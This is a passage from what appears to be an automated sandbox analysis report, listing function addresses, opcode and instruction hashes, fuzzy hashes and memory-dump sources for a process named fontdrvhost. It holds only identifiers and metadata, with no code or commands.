Opcode ID: 824d50519f964d89c4775b908d0f984b738c124b025c1ff769856973acb1c8ba
Instruction ID: 6890e3c88c39ead50cf2627d4eab9a7ddc10831fd7469278d80a9c9319f30370
Opcode Fuzzy Hash: 824d50519f964d89c4775b908d0f984b738c124b025c1ff769856973acb1c8ba
Instruction Fuzzy Hash: 59315914A1E59A4AE73AD76C84B45747B51FFD2306B1A46FAC086CF4E7D82CF982C381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC6750 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0ff8458878d16826618b13eb7d713045a779d346db98e40ee5b337f1fe7542
Instruction ID: 1672d68e96c82ec3b82b3cc68d71a75f9489866b95e151b72d46d93bfcb764c4
Opcode Fuzzy Hash: 5a0ff8458878d16826618b13eb7d713045a779d346db98e40ee5b337f1fe7542
Instruction Fuzzy Hash: F7212910A1D59A4AE739E35C8474DF47B91FF61305B2A46B7D49BCB0EBC82CA582C341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E1170 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92deae713fb67a332091adc3425c593c36fd7a9a0ee7eaaf12e6b64135555c18
Instruction ID: 10d0a696b65a29509d105334a0712abd5807961ee9cee5b0e3fe7857067e79ea
Opcode Fuzzy Hash: 92deae713fb67a332091adc3425c593c36fd7a9a0ee7eaaf12e6b64135555c18
Instruction Fuzzy Hash: D4310B10A5C5D74AE73A835448B45B47B72EF92391F1846FEC09ECB4D7D62CE491E341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DB9D2 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e155bf6a8e549a23abace64027ccb93094208e1afd0957aecb9fb98a73c2b6de
Instruction ID: cec932840b5ad7e90ca21e90f215bab41e47cf7f1c4906446136a8c367faaaa2
Opcode Fuzzy Hash: e155bf6a8e549a23abace64027ccb93094208e1afd0957aecb9fb98a73c2b6de
Instruction Fuzzy Hash: 64310910A1C6974AE73A875C44709B47B72EF52351F1847FAE0AE8F1D7EA2CA841E381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DDA3B Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b7425ea255fdad353dfbaa1d9aef34b139280f56fa1768f1295cb34adf51304
Instruction ID: bed94484a87b267f5c399e364f936a4ae534b528eadb436b35617acafa39558f
Opcode Fuzzy Hash: 2b7425ea255fdad353dfbaa1d9aef34b139280f56fa1768f1295cb34adf51304
Instruction Fuzzy Hash: 93216030E1CB5E8FDB64DB98D8606ED7BB1FF58340F4042AAE00EE3291EB246805DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D98C2 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ce724dafeb42fe7dab5be988593ae7b7efdb9e80096655efcf59ca5df4070d
Instruction ID: 616b57c4b2867b359ea5ff9db9e849b94c2fc35b3d42e0bb0192a946cc299874
Opcode Fuzzy Hash: 66ce724dafeb42fe7dab5be988593ae7b7efdb9e80096655efcf59ca5df4070d
Instruction Fuzzy Hash: B321DB71E0891D9FDF98DB58C4A5AECB3B1FF58311F0141AA901EE3295DF35A9818B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DE592 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8c9ec8e89d453af0ea225a66e9f54c77c084582a45fa64ec69895e139e3e2cc
Instruction ID: 743c5fafca8974c3f88b5a72e305e64a2b5ca83fc765e08d8828339013a29863
Opcode Fuzzy Hash: a8c9ec8e89d453af0ea225a66e9f54c77c084582a45fa64ec69895e139e3e2cc
Instruction Fuzzy Hash: 0021FA30E1891D9FDFA8DB58C4A5AEDB7B1FF58341F1101AAA01EE3291DF35AD418B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC4EF0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 771320ec0614a786e1706eb466be2aed6231a36c23bd48bda3bac25035630c01
Instruction ID: 9847ea80005d66e268a8c2969f72b8a29097cb7fbb49f1e1068fd51813687820
Opcode Fuzzy Hash: 771320ec0614a786e1706eb466be2aed6231a36c23bd48bda3bac25035630c01
Instruction Fuzzy Hash: 1B217451A0F6CA5FE327A2B818341B8AFA06F5316571A45FFD08D8A4E3D94C1B46D3A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC3B62 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02e28f6dfd725a6d513aa07225c03a9f0c1c4d61c9592026fc8c4bea03eac91
Instruction ID: 6710e4d3afa2614d945ebc60919de953cc29cd55e29035298416a3ef32f9cacc
Opcode Fuzzy Hash: a02e28f6dfd725a6d513aa07225c03a9f0c1c4d61c9592026fc8c4bea03eac91
Instruction Fuzzy Hash: F221FC31E1591D9FDFA8EB58C4A6AFDB7B1FF58305F4101A9D00EE3291CA75A941CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D7498 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d463126a6f05111d9b31ab7e462536fbdef4b43829f53f4c8975aecc1cf4b46
Instruction ID: 222639a5a60cac824ccc1a9a3c6fcdd572a284d9970db640a80282447b721caf
Opcode Fuzzy Hash: 7d463126a6f05111d9b31ab7e462536fbdef4b43829f53f4c8975aecc1cf4b46
Instruction Fuzzy Hash: BF212902B0C7574AF779A7BC60759F82BA09F513A0F5503BBF48E891DBFE09684552C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCA689 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c65ef9bd1c8c5153aabb60e13fe72524a08d850066a7d4537c10fbdf9745b576
Instruction ID: ec3806b5bdb78dcbb74e47965171cc9cfd32a1de7433c08ea03f3c0035f82eca
Opcode Fuzzy Hash: c65ef9bd1c8c5153aabb60e13fe72524a08d850066a7d4537c10fbdf9745b576
Instruction Fuzzy Hash: CB21FB31E0590D9FDBA8EBA8D4A5ABDB7B1FF58315F0101BAD00ED32A5DE34A941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBD3E3D Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053bf6e875ef5321ff2c639b45461581a4bbbcff2e8293fefea0e37595d14c7e
Instruction ID: d42b6a7200ec2be2d64c5dfe7e8f121157e533792d954e29ce7a74838a2eab04
Opcode Fuzzy Hash: 053bf6e875ef5321ff2c639b45461581a4bbbcff2e8293fefea0e37595d14c7e
Instruction Fuzzy Hash: CD21C9B1F1E40EDBEBB8DB8484A15BD7761FF94308F520279D00E925E2CA3DBA409661

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DF6F5 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7045ea90e6aefbab860afe0a6e6e939248026eb6c2b773ab9c6ec2ac94d1cd59
Instruction ID: 82ffdcfbe867e1f1071a4b7770ac76d4939ff9156fda65e21196355127fd3a3b
Opcode Fuzzy Hash: 7045ea90e6aefbab860afe0a6e6e939248026eb6c2b773ab9c6ec2ac94d1cd59
Instruction Fuzzy Hash: DA21D572F0975A8FEB64FBE894662E877F0EF59354F14427AE04DC3297EE2868418740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC4CCA Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247b58052a5715e3a0d1b2779d1b63b249f60e93cee4bcc17c403259f17f1b23
Instruction ID: 48b7b188628b82c18446676f43588d31bb52ed2482b766ee63edee56bf8aacdd
Opcode Fuzzy Hash: 247b58052a5715e3a0d1b2779d1b63b249f60e93cee4bcc17c403259f17f1b23
Instruction Fuzzy Hash: 8F11D572E0A6498FE725FBA894622EC77E1FF85314F02017ED049C72D6DE246942C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC4B09 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f012ae1390610b1f6998a9d05531dc04327c087fa1122fd07d79fc51978620f
Instruction ID: 3624160d18573c77b14a6a9e37916aa877b9afea1e17f57e76df128a2ec7e1e1
Opcode Fuzzy Hash: 1f012ae1390610b1f6998a9d05531dc04327c087fa1122fd07d79fc51978620f
Instruction Fuzzy Hash: 9B110832E0F68D9FE775EAA888256B93BB0FB52340F06057BD009D71E2DE581E45C351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D95C1 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872f148c9c8103f2b178bdd21c7000544241b9aaa29d3158c3ca8e5de429bccb
Instruction ID: b5c1f4563d3cba8382dbb581edc442c24fefda3603d17bcbc75568b8e0a6ed7d
Opcode Fuzzy Hash: 872f148c9c8103f2b178bdd21c7000544241b9aaa29d3158c3ca8e5de429bccb
Instruction Fuzzy Hash: 7A11E012F4D39386FA7926E468314BD2674AF457A0F5903BAF84E830C6FE0D28853392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCB734 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e92cc6ce6aaf7058d758e9dcdc3682168b67961d6683fef343bf9eb83d9a44b
Instruction ID: a9de29a0916458a8e0f7dc14d7cb72c3865ed45b69aa9a784523961516ff2d39
Opcode Fuzzy Hash: 5e92cc6ce6aaf7058d758e9dcdc3682168b67961d6683fef343bf9eb83d9a44b
Instruction Fuzzy Hash: 02113D31F1991D8FDB64EB9C94A19BCB3A1FF89714B15827AD40ED3291CE24BD11C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DF4C5 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e40d0516c90b98b41f8e07d851d03b3b68124dd77775c18bb5e91574e48e5919
Instruction ID: 2ff2b43221953df0f15cb9d41543a61de504ca222eeca3416e80c873aac6a420
Opcode Fuzzy Hash: e40d0516c90b98b41f8e07d851d03b3b68124dd77775c18bb5e91574e48e5919
Instruction Fuzzy Hash: 5511D672F08B4E9FD7749A9894282F937F1EBA8350F00427BE10DE3295EF69AD055781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA124A0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e4ef2b69a5dcb88511f799b117225a16f85bb7a143ea953b74d4fb77799f373
Instruction ID: 5e025b3b59ff4d5b6876892c7d5b3ee0bafd7c26626abb2e8b8e13362f5fef8f
Opcode Fuzzy Hash: 7e4ef2b69a5dcb88511f799b117225a16f85bb7a143ea953b74d4fb77799f373
Instruction Fuzzy Hash: A3118F31A08A4D8FDF85EFA8C898AEA7BF0FF54305F0401AAD419D7151DA31A584CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DAA7C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149dbb8f24f3a35513e3fda55a13e14de6aaab994e4fb95ca62f833113a1fd60
Instruction ID: 2017add94f6099dfa3ece0fd8bcab1de947be9f8b08ce2c57f1a1418bffe21ed
Opcode Fuzzy Hash: 149dbb8f24f3a35513e3fda55a13e14de6aaab994e4fb95ca62f833113a1fd60
Instruction Fuzzy Hash: E8110431F09A479FD764AB6494214FA73B0FF51250F00467BE00EC34D2EF2869059790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC5800 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aae09cef7b7b053cff9dbb9c53c9dae4900879548dc78ca6becbd643ad12df87
Instruction ID: 52e2270ca44b9891215a622e14f4f21a7cc28b26c55b8d3ee0e1559745f5b89d
Opcode Fuzzy Hash: aae09cef7b7b053cff9dbb9c53c9dae4900879548dc78ca6becbd643ad12df87
Instruction Fuzzy Hash: 50118231B1590A8AD764FFA8D0215FAB391FF54319F01463AD40EC35D6DE28BA45C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E0220 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3db7fedf07314a23f97f518f537fa08a4d9c1019bc4ff65f3cda65f7f8d89825
Instruction ID: 90082cb1f25859be685cc8a694a8d1412ea90eaf7987c0141148a2c80623ca48
Opcode Fuzzy Hash: 3db7fedf07314a23f97f518f537fa08a4d9c1019bc4ff65f3cda65f7f8d89825
Instruction Fuzzy Hash: 3F11BF31B08A0B9AEB64FB64D0615FAB3E1FF94385F40063AE00EC3582DF29A8549790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBE2D9E Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2085ea5bff55fd1210e195a60db4143d4bee62655c4616d6f447c5a798861fd
Instruction ID: 9fe88d21607f7794cb6c42763a72a4ad5fd4f3cc9b1c17002e177e31e6721935
Opcode Fuzzy Hash: b2085ea5bff55fd1210e195a60db4143d4bee62655c4616d6f447c5a798861fd
Instruction Fuzzy Hash: 21118F30F1990A8EDB64FB68D4615FA73A1FF94309F41463AD44AC35E6CE38A9458780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC9220 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a4b0105a96f4ddb193713f1c7bef47ba69783a3a3da7d7fbddda07b52943b67
Instruction ID: 1256cd22280aa49f6c923d1a028cb0e7113e8ad777b4632cb920f721ae0a7700
Opcode Fuzzy Hash: 0a4b0105a96f4ddb193713f1c7bef47ba69783a3a3da7d7fbddda07b52943b67
Instruction Fuzzy Hash: 1C010471F0A60D9FE770EAAC84382BE75A1FB49345F01403AD40ED72E1DE656D01C381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCC2F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5a4441a53211e34f7add87eda1e4b8096185ec6371564d9809cb3c95ef3a77
Instruction ID: 1ae1388f66b7955b3724af4b3a18bfba6367ce16cbdb1f6dc749dffca0dfe73f
Opcode Fuzzy Hash: 1d5a4441a53211e34f7add87eda1e4b8096185ec6371564d9809cb3c95ef3a77
Instruction Fuzzy Hash: D211C430F0990A9EDB64FF68E4254F673E0FFA4208B40063AD04EC31E6CE38A941C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DF539 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5b034cd754db6d803c2c0b128ce2430ecbfb59e52cf770dceb3fa77b2c0a566
Instruction ID: b69f12e0611f9a345deceb956830f5e2968648bcf0487677927f6fab18a2acac
Opcode Fuzzy Hash: b5b034cd754db6d803c2c0b128ce2430ecbfb59e52cf770dceb3fa77b2c0a566
Instruction Fuzzy Hash: 57010832A0974A5FD370DAA488682E53AF1EB55390F04427BE00DE3151EE6859458391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC567E Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c108dec0b9a279250a34a7261219bb93a7055ac617b473e501216dd8156c3ff
Instruction ID: c0ad12ae93e363390e928ff0fd0f6f8d881f4bc045a22a85b4deca263c84cb67
Opcode Fuzzy Hash: 2c108dec0b9a279250a34a7261219bb93a7055ac617b473e501216dd8156c3ff
Instruction Fuzzy Hash: A1118E31B0550A8FE725EE98D4662F57394FB95319F11453BD509C36E0DB29AA90CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0E009E Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa4ebd6e331336cb6af8eafdff783a8e3b8b668cf67e4e3796640b24b16a3c65
Instruction ID: 4646f79609179770be07562ef90b0e4fd3de962474101fa8ad9ca306ab43c45e
Opcode Fuzzy Hash: fa4ebd6e331336cb6af8eafdff783a8e3b8b668cf67e4e3796640b24b16a3c65
Instruction Fuzzy Hash: C5110431B445078FE724AF98E4652E673E0FB95399F50463BD51DC3680DB39A9608B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0DA8FE Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10dd1ce8918a3f37fb78112b6543f426ab5550d5a0bdbd81397bf1dd2116f2d1
Instruction ID: e1da9b8990a38c478af22c6a86abb3ae21895a636cd0ad9bb29bb144709bff74
Opcode Fuzzy Hash: 10dd1ce8918a3f37fb78112b6543f426ab5550d5a0bdbd81397bf1dd2116f2d1
Instruction Fuzzy Hash: 2E110431B046078FE724AF58D4212E673A4FB95355F10473BE50DC36C0EB39AA508B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBCC16E Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95b739312845735a88a828101c4d7c431de191a5487b0fb5ba0d19f701a27811
Instruction ID: fcebd36a4d76209902747413e94c68212d929b1936369e53e8d9cca0b5c97e56
Opcode Fuzzy Hash: 95b739312845735a88a828101c4d7c431de191a5487b0fb5ba0d19f701a27811
Instruction Fuzzy Hash: EF11E131B0540A8FE724EF9CE4252F57390FBA5319F11063AD509C72E0CB39A950C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9C0D9542 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2349986334.00007FFD9C0D5000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C0D5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9c0d5000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecab01fb381493a2ccbe7887ecc040611a6541fdc55b3dc26c3fab18b262a69f
Instruction ID: 36c2b3f7640e2d02b79c9988abee71c0ace4c5bb6f0ccf331ae8353f42aee682
Opcode Fuzzy Hash: ecab01fb381493a2ccbe7887ecc040611a6541fdc55b3dc26c3fab18b262a69f
Instruction Fuzzy Hash: 11118334E2891EDFDBA8EB98D4A09ADB7B1FF58340F500679E00EE3295DB3468419B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA0FA78 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85ba806d8b0e693e43dcadcbed138610b0bffb359638b809900407908f3fbd5a
Instruction ID: c0610fb9783c225f0c4ac2b2b4cc1e612228af5539e85e91fdbd397a23783ac4
Opcode Fuzzy Hash: 85ba806d8b0e693e43dcadcbed138610b0bffb359638b809900407908f3fbd5a
Instruction Fuzzy Hash: 2C017C7190E3C99FDB539FB489606D83FB0BF13250F4A01EBE494CB0A3DA695A19C752

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BA1159F Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2132802424.00007FFD9BA0B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA0B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9ba0b000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3750f98b5c0c7e730ff496b1ffe6793dff22d2e8a178991ca7e0eac30b64eb47
Instruction ID: 002a6d5caa19f80ed696eb127083028ddd1de0a55e32ea118b9ab8281a2f6bdd
Opcode Fuzzy Hash: 3750f98b5c0c7e730ff496b1ffe6793dff22d2e8a178991ca7e0eac30b64eb47
Instruction Fuzzy Hash: C801C030D0834D8FEB94DF95C8585FD7BB1EF16300F14426EC465972A6EA74A906CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9BBC3E72 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2167161953.00007FFD9BBC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BBC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffd9bbc0000_fontdrvhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d67b2f1eeaf81dbd705663f8a2f0bdbe20858f4ddb986e08e0dd165ffe405ef0
Instruction ID: 132545edcfb1f624dae64cc1adf4ecb00b876bdbf0256ac2c133c5303a9aa4a0
